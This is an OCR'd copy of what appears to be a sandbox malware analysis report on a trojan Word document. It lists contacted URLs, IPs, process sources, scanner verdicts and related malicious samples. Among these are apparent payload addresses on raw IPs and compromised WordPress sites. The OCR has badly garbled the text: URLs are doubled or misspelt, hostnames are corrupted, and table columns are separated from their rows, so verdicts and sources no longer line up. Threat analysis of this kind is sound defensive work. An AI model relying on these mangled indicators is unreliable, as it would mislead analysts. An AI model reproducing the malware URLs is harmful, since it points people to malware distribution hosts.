hitp://https://rpsticket.partnerservices.getmicrosoftkey.com 0% URL Reputation safe
hitp://https://rpsticket.partnerservices.getmicrosoftkey.com 0% URL Reputation safe
hitp://https://rpsticket.partnerservices.getmicrosoftkey.com 0% URL Reputation safe
hitp://https://ketoresetme.com/2021/01/07/what-to-avoid-on-a-ketogenic-diet-what-is-ketogenic-diet/ 0% Avira URL Cloud safe
hitp://iwheelcomoving.com/wp-content/plugins/wpcargo/assets/css/fontawesome.min.css?ver=6.7.4 0% Avira URL Cloud safe
http:/f 0% Avira URL Cloud safe
138.197.99.250:8080/pojcpxbjelqvypvfo/yrdgm/3jyit2m1109dcs3q5kt/athdprpbuzlqgz/rfz2dy2jzdc4/o5

hitp://https://wheelcomoving.com/services/ 0% Avira URL Cloud safe
hitp://https://wheelcomoving.com/wp-admin/admin-ajax.php 0% Avira URL Cloud safe
http:/f 0% Avira URL Cloud safe
138.197.99.250:8080/pojcpxbjelqvypvfo/yrdgm/3jyit2m1109dcs3q5kt/Afthdprpbuzlqz/rfz2dy2jzdc4/o5jeel

wiaalpjyl2utx/

hitp://https://api.aadrm.com/ 0% URL Reputation safe
hitp://https://api.aadrm.com/ 0% URL Reputation safe
hitp://https://api.aadrm.com/ 0% URL Reputation safe
hitp://d-cem.com 0% Avira URL Cloud safe
hitp://00zyku.comx 0% Avira URL Cloud safe
hitp://https://ketoresetme.com/author/admin/ 0% Avira URL Cloud safe
hitp://https://ketoresetme.com/category/keto-summit/ 0% Avira URL Cloud safe
hitp://https://wheelcomoving.com/wp-content/uploads/2015/09/Cargo-logo-whitel.png 0% Avira URL Cloud safe
hitp://https://ketoresetme.com/xmlrpc.p 0% Avira URL Cloud safe
hitp://\wheelcomoving.com/wp-content/themes/cargo/js/slick.min.js?ver=5.6 0% Avira URL Cloud safe
hitp://iwheelcomoving.com/wp-content/themes/cargo/style.css?ver=5.6 0% Avira URL Cloud safe
hitp://ketoresetme.com/wp-content/themes/Newspaper/style.css?ver=8.1 0% Avira URL Cloud safe
hitp://https://res.getmicrosoftkey.com/api/redemptionevents 0% URL Reputation safe
hitp://https://res.getmicrosoftkey.com/api/redemptionevents 0% URL Reputation safe
hitp://https://res.getmicrosoftkey.com/api/redemptionevents 0% URL Reputation safe
hitp://https://ketoresetme.com/category/keto-news/ 0% Avira URL Cloud safe
hitp://ketoresetme.com/xmirpc.php 0% Avira URL Cloud safe
hitp://00zyku.com 0% Avira URL Cloud safe
hitp://https://officeci.azurewebsites.net/api/ 0% Avira URL Cloud safe
hitp://https://ketoresetme.com/wp-content/uploads/2020/09/reclama-lifestyle.jpg 0% Avira URL Cloud safe
hitp://https://store.office.cn/addinstemplate 0% URL Reputation safe
hitp://https://store.office.cn/addinstemplate 0% URL Reputation safe
hitp://https://store.office.cn/addinstemplate 0% URL Reputation safe
hitp://pesterbdd.com/images/Pester.png 0% URL Reputation safe
hitp://pesterbdd.com/images/Pester.png 0% URL Reputation safe
hitp://pesterbdd.com/images/Pester.png 0% URL Reputation safe
hitp://cps.letsencrypt.org0 0% URL Reputation safe
hitp://cps.letsencrypt.org0 0% URL Reputation safe
hitp://cps.letsencrypt.org0 0% URL Reputation safe
hitp://https://wus2-000.pagecontentsync. 0% URL Reputation safe
hitp://https://wus2-000.pagecontentsync. 0% URL Reputation safe
hitp://https://wus2-000.pagecontentsync. 0% URL Reputation safe
hitp://https://rajwap.pro/ 0% Avira URL Cloud safe
hitp://https://wheelcomoving.com/company/contact/ 0% Avira URL Cloud safe
hitp://https://contoso.com/Icon 0% URL Reputation safe
hitp://https://contoso.com/Icon 0% URL Reputation safe
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https://www.virustotal.com/gui/url/992f8f0fbbde2dce5b1eca90a64dfc7bea1a0bc9b03855cbba2c36b0de11724f/detection/u-992f8f0fbbde2dce5b1eca90a64dfc7bea1a0bc9b03855cbba2c36b0de11724f-1609918176
https://www.virustotal.com/gui/url/edbfebc3015b0eae3d28741259221f8013124fc184373e07ed385d0545c17d3a/detection/u-edbfebc3015b0eae3d28741259221f8013124fc184373e07ed385d0545c17d3a-1609859981

Source

hitp://https://contoso.com/Icon
hitp://https://ketoresetme.com/contact-us/
hitp://https://www.odwebp.svc.ms
hitp://https://www.odwebp.svc.ms
hitp://https://www.odwebp.svc.ms

hitp://https://ketoresetme.com/wp-content/uploads/2021/01/Beyond-Keto-Virtual-Summit-The-Mid-Life-

Re-Life-B

hitp://iwheelcomoving.com/wp-includes/css/dist/block-library/style.min.css?ver=5.6

hitp://https://arabysexy.mobi/

hitp://ketoresetme.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp

hitp://ketoresetme.com/wp-content/plugins/woocommerce/packages/woocommerce-

blocks/build/vendors-styl
hitp://https://dynamic.t
hitp://https://dynamic.t
hitp://https://dynamic.t
hitp://https://dirtyindianporn.info/

hitp://https://ketoresetme.com/wp-content/uploads/2021/01/The-Ketonian-Cookbook-QUICK-AND-EASY-

LOW-CARB-218

hitp://iwheelcomoving.com/wp-content/themes/cargo/js/header.misc.js?ver=5.6

hitp://https://wheelcomoving.com/services/ocean-cargo/

hitp://\wheelcomoving.com/wp-content/plugins/wpcargo/admin/assets/css/jquery.datetimepicker.min.css?

\

hitp://https://ketoresetme.com/privacy-policy-2/

hitp://192.168.0.194/wp_011_lifestyle/wp-content/uploads/2017/03/2.jpg

hitp://ketoresetme.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?

ver=4.5.1

hitp://https://ketoresetme.com/wp-content/uploads/2021/01/The-Ketonian-Cookbook-QUICK-AND-EASY-

LOW-CARB-100
hitp://https://wheelcomoving.com/xmirpc.php?rsd

hitp://ketoresetme.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-public.css?ver=

hitp://iwheelcomoving.com/wp-content/plugins/wpcargo/assets/css/wpcargo-style.css?ver=6.7.4

hitp://https://ketoresetme.com/2021/01/06/keto-reset-instant-pot-cookbook-trailer/

http://190.247.139.101/07vtz/g3p9nxague/
hitp://190.247.139.101/07vtz/g3p9nxague/llc
hitp://https://indianpornmovies.info/
hitp://https://ketoresetme.com/category/keto/

Domains and IPs

Contacted Domains

Active

Detection
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%

0%
0%
0%
0%
0%

0%
0%
0%

0%
0%
0%

0%

0%
0%
0%
0%
0%
0%
0%
0%

Malicious

Scanner

URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Antivirus Detection

Label
safe
safe
safe
safe
safe

safe

safe
safe
safe

safe

safe
safe
safe
safe

safe

safe
safe

safe

safe
safe

safe

safe

safe
safe
safe
safe
safe
safe
safe

safe

Link

Reputation

URLs from Memory and Binaries

Name

hitp://https://shell.suite.office.com:1443

hitp://https://ketoresetme.com/wp-
content/uploads/2021/01/My-Southern-Keto-Kitchen-
Cookbook-HOW-I-GOT-HERE-

hitp://https://autodiscover-s.outlook.com/

Copyright null 2021

Malicious

Antivirus Detection

Source

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

powershell.exe, 00000004.00000
002.289210434.0000018A15307000
.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

Antivirus Detection

Malicious

false

false

false

e Avira URL Cloud: safe

Reputation

Reputation

high

unknown

high
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https://www.virustotal.com/gui/url/41237086673dd520e5b993931310798646385961b7cc8ece4458accf0c3e37e6/detection/u-41237086673dd520e5b993931310798646385961b7cc8ece4458accf0c3e37e6-1609859966
https://www.virustotal.com/gui/url/34633edfb1f19c69e505c103efce56fe4eb08c8fb859b5a370838c682bc32f45/detection/u-34633edfb1f19c69e505c103efce56fe4eb08c8fb859b5a370838c682bc32f45-1609918355
https://www.virustotal.com/gui/url/992f8f0fbbde2dce5b1eca90a64dfc7bea1a0bc9b03855cbba2c36b0de11724f/detection/u-992f8f0fbbde2dce5b1eca90a64dfc7bea1a0bc9b03855cbba2c36b0de11724f-1609918176
https://www.virustotal.com/gui/url/edbfebc3015b0eae3d28741259221f8013124fc184373e07ed385d0545c17d3a/detection/u-edbfebc3015b0eae3d28741259221f8013124fc184373e07ed385d0545c17d3a-1609859981

Name

hitp://wheelcomoving.com/wp-
content/plugins/bt_cost_calculator/jquery.dd.js?ver=5.6

http://
https://insertmedia.bing.office.net/images/officeonlinecontent/b
rowse?cp=Flickr

hitp://https://ketoresetme.com/2021/01/07/pepito-manaloto-
keto-diet-sagot-sa-katabaan-ni-mara/#respond

hitp://iwheelcomoving.com/wp-includes/wlwmanifest.xml

hitp://https://cdn.entity.

hitp://https://ketoresetme.com/wp-
content/uploads/2020/09/11.jpg

http://
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/

hitp://https://rpsticket.partnerservices.getmicrosoftkey.com

hitp://https://lookup.onenote.com/lookup/geolocation/vl

hitp://https://freejavporn.mobi/

hitp://iwheelcomoving.com/wp-
content/plugins/wpcargo/; /css/font
ver=6.7.4

ome.min.css?

http://
138.197.99.250:8080/pojcpxbjelqvypvfo/yrdgm/3jyit2m1109dc
s3q5kt/4thdprpbuzlqz/rfz2dy2jzdc4/o5

http://
https://syncservice.protection.outlook.com/PolicySync/PolicyS
ync.svc/SyncFile

hitp://https://wheelcomoving.com/wp-admin/admin-ajax.php

http://
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/Get
Policy

hitp://https://api.aadrm.com/

hitp://d-cem.com

hitp://00zyku.comx

hitp://https://ketoresetme.com/author/admin/

hitp://https://ketoresetme.com/category/keto-summit/

hitp://https://wheelcomoving.com/wp-
content/uploads/2015/09/Cargo-logo-whitel.png

http://
https://dataservice.protection.outlook.com/PsorWebService/vl
[ClientSyncFile/MipPolicies

hitp://https://api.microsoftstream.com/api/

hitp://https://insertmedia.bing.office.net/images/hosted?
host=office&adlt=strict&hostType=Immersive

Copyright null 2021

Source Malicious

powershell.exe, 00000004.00000 false
002.289116018.0000018A15261000
.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAAB58  false
2ADD66.0.dr

powershell.exe, 00000004.00000 false
002.289210434.0000018A15307000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false
002.289116018.0000018A15261000
.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

powershell.exe, 00000004.00000 false
002.289210434.0000018A15307000
.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

powershell.exe, 00000004.00000 false
002.289210434.0000018A15307000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false
002.289116018.0000018A15261000
.00000004.00000001.sdmp

rundll32.exe, 0000000E.0000000 false
2.470615801.000000000326D000.0
0000004.00000020.sdmp

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

powershell.exe, 00000004.00000 false
002.289116018.0000018A15261000
.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAAB58  false
2ADD66.0.dr

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

powershell.exe, 00000004.00000 false
002.289286993.0000018A153A0000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false
002.289171312.0000018A152BB000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false
002.289210434.0000018A15307000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false
002.289210434.0000018A15307000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false
002.289116018.0000018A15261000
.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAAB58  false
2ADD66.0.dr

6CAFCOF8-7648-4F12-BE38-DAAB58  false
2ADD66.0.dr

6CAFCOF8-7648-4F12-BE38-DAA8B58  false
2ADD66.0.dr

Antivirus Detection

e Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Reputation

unknown

high

unknown

unknown

unknown

unknown

high

unknown

high

high

unknown

unknown

high

unknown

high

unknown

unknown

unknown

unknown

unknown

unknown

high

high

high
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Name Source Malicious Antivirus Detection Reputation

hitp://https://cr.office.com 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr
hitp://https://nuget.org/nuget.exe powershell.exe, 00000004.00000 false high

002.290367412.0000018A24216000
.00000004.00000001.sdmp

hitp://https://ketoresetme.com/xmlrpc.p powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000
.00000004.00000001.sdmp
hitp://\wheelcomoving.com/wp- powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
content/themes/cargol/js/slick.min.js?ver=5.6 002.289116018.0000018A15261000
.00000004.00000001.sdmp
hitp://iwheelcomoving.com/wp- powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
content/themes/cargo/style.css?ver=5.6 002.289116018.0000018A15261000
.00000004.00000001.sdmp
hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name  powershell.exe, 00000004.00000 false high
002.281319093.0000018A14071000
.00000004.00000001.sdmp
hitp://ketoresetme.com/wp- powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
content/themes/Newspaper/style.css?ver=8.1 002.289210434.0000018A15307000
.00000004.00000001.sdmp
hitp://https://res.getmicrosoftkey.com/api/redemptionevents 6CAFCOF8-7648-4F12-BE38-DAA8B58  false e URL Reputation: safe unknown
2ADD66.0.dr e URL Reputation: safe
e URL Reputation: safe
hitp://https://ketoresetme.com/category/keto-news/ powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000
.00000004.00000001.sdmp
hitp://https://tasks.office.com 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr
hitp://ketoresetme.com/xmirpc.php powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000
.00000004.00000001.sdmp
http:/,
hitp://https://officeci.azurewebsites.net/api/ 6CAFCOF8-7648-4F12-BE38-DAA8B58  false e Avira URL Cloud: safe unknown
2ADD66.0.dr
hitp://https://ketoresetme.com/wp- powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
content/uploads/2020/09/reclama-lifestyle.jpg 002.289210434.0000018A15307000
.00000004.00000001.sdmp
hitp://https://store.office.cn/addinstemplate 6CAFCOF8-7648-4F12-BE38-DAAB58  false e URL Reputation: safe unknown
2ADD66.0.dr e URL Reputation: safe
e URL Reputation: safe
hitp://pesterbdd.com/images/Pester.png powershell.exe, 00000004.00000 false e URL Reputation: safe unknown
002.281715020.0000018A14283000 e URL Reputation: safe
.00000004.00000001.sdmp e URL Reputation: safe
hitp://cps.letsencrypt.org0 powershell.exe, 00000004.00000 false e URL Reputation: safe unknown
002.289246816.0000018A15355000 e URL Reputation: safe
.00000004.00000001.sdmp e URL Reputation: safe
hitp://https://wus2-000.pagecontentsync. 6CAFCOF8-7648-4F12-BE38-DAA8B58  false e URL Reputation: safe unknown
2ADD66.0.dr e URL Reputation: safe
e URL Reputation: safe
hitp://www.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000004.00000 false high
002.281715020.0000018A14283000
.00000004.00000001.sdmp
hitp://https://rajwap.pro/ powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000
.00000004.00000001.sdmp
http:/,
hitp://https://contoso.com/Icon powershell.exe, 00000004.00000 false e URL Reputation: safe unknown
002.290367412.0000018A24216000 e URL Reputation: safe
.00000004.00000001.sdmp e URL Reputation: safe
http:// 6CAFCOF8-7648-4F12-BE38-DAAB58  false high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/g 2ADD66.0.dr
etfreeformspeech
hitp://https://ketoresetme.com/contact-us/ powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000
.00000004.00000001.sdmp
hitp://https://www.odwebp.svc.ms 6CAFCOF8-7648-4F12-BE38-DAA8B58  false e URL Reputation: safe unknown
2ADD66.0.dr e URL Reputation: safe
e URL Reputation: safe
hitp://https://api.powerbi.com/v1.0/myorg/groups 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr
hitp://https://web.microsoftstream.com/video/ 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr
hitp://https://graph.windows.net 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr
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Name

hitp://https://github.com/Pester/Pester

hitp://iwheelcomoving.com/wp-includes/css/dist/block-
library/style.min.css?ver=5.6

hitp://https://arabysexy.mobi/

hitp://ketoresetme.com/wp-includes/js/jquery/jquery.js?
ver=1.12.4-wp

hitp://ketoresetme.com/wp-
content/plugins/woocommerce/packages/woocommerce-
blocks/build/vendors-styl

hitp://https://dynamic.t

http://
https://pf.directory.live.com/profile/mine/System.ShortCircuitPr
ofile.json

hitp://https://dirtyindianporn.info/

hitp://https://dev.virtualearth.net/REST/v1/Routes/Transit

http://
https://webdir.online.lync.com/autodiscover/autodiscoverservic
e.svc/root/

hitp://weather.service.msn.com/data.aspx

hitp://\wheelcomoving.com/wp-
content/themes/cargo/js/header.misc.js?ver=5.6

hitp://iwheelcomoving.com/wp-
content/plugins/wpcargo/admin/assets/css/jquery.datetimepick
er.min.css?v

hitp://https://word.uservoice.com/forums/304948-word-for-
ipad-iphone-ios

hitp://https://ketoresetme.com/privacy-policy-2/

hitp://https://autodiscover-
s.outlook.com/autodiscover/autodiscover.xml

hitp://https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=

hitp://192.168.0.194/wp_011_lifestyle/wp-
content/uploads/2017/03/2.jpg

hitp://https://clients.config.office.net/user/v1.0/ios

hitp://ketoresetme.com/wp-
content/plugins/woocommerce/assets/css/woocommerce-
layout.css?ver=4.5.1

hitp://https://dev.virtualearth.net/REST/v1/Routes/Driving

hitp://https://o365auditrealtimeingestion.manage.office.com

hitp://https://wheelcomoving.com/xmirpc.php?rsd

Copyright null 2021

Source Malicious Antivirus Detection Reputation

powershell.exe, 00000004.00000 false high

002.281715020.0000018A14283000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

powershell.exe, 00000004.00000
002.289116018.0000018A15261000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false Avira URL Cloud: safe unknown

002.289210434.0000018A15307000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false Avira URL Cloud: safe unknown

002.289210434.0000018A15307000
.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false Avira URL Cloud: safe unknown

002.289210434.0000018A15307000
.00000004.00000001.sdmp

false unknown

svchost.exe, 00000011.00000002
.308278437.000001E8C744E000.00
000004.00000001.sdmp, svchost.exe,
00000011.00000003.3079694
98.000001E8C745A000.00000004.0
0000001.sdmp

URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

false high

powershell.exe, 00000004.00000 false Avira URL Cloud: safe unknown

002.289210434.0000018A15307000
.00000004.00000001.sdmp

svchost.exe, 00000011.00000003
.307923266.000001E8C745F000.00
000004.00000001.sdmp

false high

6CAFCOF8-7648-4F12-BE38-DAA858
2ADD66.0.dr

false high

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

false high

powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289116018.0000018A15261000

.00000004.00000001.sdmp

powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289116018.0000018A15261000

.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

false high

powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000

.00000004.00000001.sdmp

6CAFCOF8-7648-4F12-BE38-DAA858
2ADD66.0.dr

false high

svchost.exe, 00000011.00000003 false
.307969498.000001E8C745A000.00
000004.00000001.sdmp

high

powershell.exe, 00000004.00000 unknown
002.289210434.0000018A15307000

.00000004.00000001.sdmp

false e Avira URL Cloud: safe

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

false high

powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000

.00000004.00000001.sdmp

svchost.exe, 00000011.00000003
.307923266.000001E8C745F000.00
000004.00000001.sdmp

false high

6CAFCOF8-7648-4F12-BE38-DAA8S58
2ADD66.0.dr

false high

powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289116018.0000018A15261000

.00000004.00000001.sdmp
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Name Source Malicious Antivirus Detection Reputation

hitp://https://outlook.office365.com/api/v1.0/me/Activities 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr

hitp://ketoresetme.com/wp-content/plugins/cookie-law- powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown

info/public/css/cookie-law-info-public.css?ver= 002.289210434.0000018A15307000
.00000004.00000001.sdmp

hitp://https://clients.config.office.net/user/v1.0/android/policies 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr

hitp://iwheelcomoving.com/wp- powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown

content/plugins/wpcargo/assets/css/wpcargo-style.css? 002.289116018.0000018A15261000

ver=6.7.4 .00000004.00000001.sdmp

hitp://https://entitlement.diagnostics.office.com 6CAFCOF8-7648-4F12-BE38-DAA858  false high
2ADD66.0.dr

hitp:/https://ketoresetme.com/2021/01/06/keto-reset-instant-  powershell.exe, 00000004.00000 true e Avira URL Cloud: safe unknown

pot-cookbook-trailer/ 002.289210434.0000018A15307000
.00000004.00000001.sdmp

hitp://190.247.139.101/07vtz/g3p9nxague/ rundll32.exe, 0000000E.0000000 false e Avira URL Cloud: safe unknown

2.470615801.000000000326D000.0
0000004.00000020.sdmp, rundlI32.exe,
0000000E.00000003.411786554.00000
00003271000.00000004.00000001.

sdmp

http:d/f 6CAFCOF8-7648-4F12-BE38-DAA8B58  false high

https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json  2ADD66.0.dr

hitp://https://outlook.office.com/ 6CAFCOF8-7648-4F12-BE38-DAA8B58  false high
2ADD66.0.dr

hitp://https://storage.live.com/clientlogs/uploadlocation 6CAFCOF8-7648-4F12-BE38-DAA8B58  false high
2ADD66.0.dr

hitp://190.247.139.101/07vtz/g3p9nxague/lic rundll32.exe, 0000000E.0000000 false e Avira URL Cloud: safe unknown
2.470569025.000000000324A000.0
0000004.00000020.sdmp

hitp://https://indianpornmovies.info/ powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown

002.289210434.0000018A15307000
.00000004.00000001.sdmp

hitp://https://ketoresetme.com/category/keto/ powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown
002.289210434.0000018A15307000
.00000004.00000001.sdmp

hitp://https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?  svchost.exe, 00000011.00000003 false high
pv=1&r= .286166612.000001E8C7432000.00
000004.00000001.sdmp

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public
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ASN Name Malicious

Private

P
127.0.0.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Red Diamond

336937

07.01.2021

11:52:02

CloudBasic

Oh 9m 2s

false

light

Informacion_29.doc
defaultwindowsofficecookbook.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

Potential for more I0Cs and behavior

29

o ©o o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default

Timeout

MAL

mal100.troj.evad.winDOC@24/17@5/9
e Successful, ratio: 66.7%

e Successful, ratio: 25.8% (good quality ratio 24.9%)
e Quality average: 77.4%
e Quality standard deviation: 24.8%

e Successful, ratio: 83%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer
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Warnings:

Simulations

Behavior and APIs

Time

11:52:56
11:53:15
11:54:30

Joe Sandbox View | Context

IPs

Match
66.85.46.76

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name /| URL

44x Sleep call for process: powershell.exe modified
2x Sleep call for process: svchost.exe modified

1x Sleep call for process: MpCmdRun.exe modified

Show All
e Exclude process from analysis (whitelisted):

BackgroundTransferHost.exe,
backgroundTaskHost.exe, UsoClient.exe

TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted):
52.109.88.177, 52.109.88.40, 52.109.76.33,
104.43.193.48, 51.104.144.132, 23.210.248.85,
92.122.213.194, 92.122.213.247, 20.54.26.129,
205.185.216.42, 205.185.216.10, 51.103.5.159,
13.64.90.137, 40.88.32.150, 51.11.168.160,
52.255.188.83, 104.42.151.234

Excluded domains from analysis (whitelisted): prod-
w.nexus.live.com.akadns.net,
arc.msn.com.nsatc.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, al449.dscg2.akamai.net,
wns.notify.windows.com.akadns.net, arc.msn.com,
par02p.wns.notify.windows.com.akadns.net,
skypedataprdcoleus15.cloudapp.net,
emeal.notify.windows.com.akadns.net,
audownload.windowsupdate.nsatc.net,
au.download.windowsupdate.com.hwcdn.net,
nexus.officeapps.live.com,
officeclient.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, client.wns.windows.com,
skypedataprdcolwus17.cloudapp.net,
fs.microsoft.com,
prod.configsvcl.live.com.akadns.net, ris-
prod.trafficmanager.net, e1723.g.akamaiedge.net,
ctldl.windowsupdate.com,
cds.d2s7g6s2.hwedn.net,
skypedataprdcolcus15.cloudapp.net,
ris.api.iris.microsoft.com,
skypedataprdcoleus17.cloudapp.net,
config.officeapps.live.com,
blobcollector.events.data.trafficmanager.net,
skypedataprdcolwus16.cloudapp.net,
europe.configsvcl.live.com.akadns.net

Execution Graph export aborted for target
powershell.exe, PID 7064 because it is empty
Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtProtectVirtualMemory calls found.

Report size getting too big, too many
NtQueryAttributesFile calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Link Context

Browse e wheelcomo
ving.com/p
/RuMeRPa/
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https://view.joesandbox.com/analysis/253172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253172/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

Get hash malicious Browse e wheelcomo
ving.com/p
/RuMeRPa/

152.170.79.100 Get hash malicious Browse e 152.170.7
9.100/jne6
snt/mémyio

hmse/

Get hash malicious Browse e 152.170.7
9.100/gsyu
aw2no20y/

Get hash malicious Browse e 152.170.7
9.100/2w9r
adk/elbqg9
3t32/bfbkk
xnxm/kzpgf
x0srz2azra
2z6/wtwvr/
zuhrx/

Get hash malicious Browse e 152.170.7
9.100/udiw
y/9lqzybri
7w/n3gkg5s
eewustvns6
8/136c10de
4srgz133y/

Get hash malicious Browse e 152.170.7
9.100/f5hv
sm8p45k9/r
Ohin/g4fm3
hzyqdsc/

Get hash malicious Browse e 152.170.7
9.100/x692
gr/bchg5i/
1ldwlveojm5
Iwx1zsmb5gb
t71xbtih/g
qer5rzmurhr33/
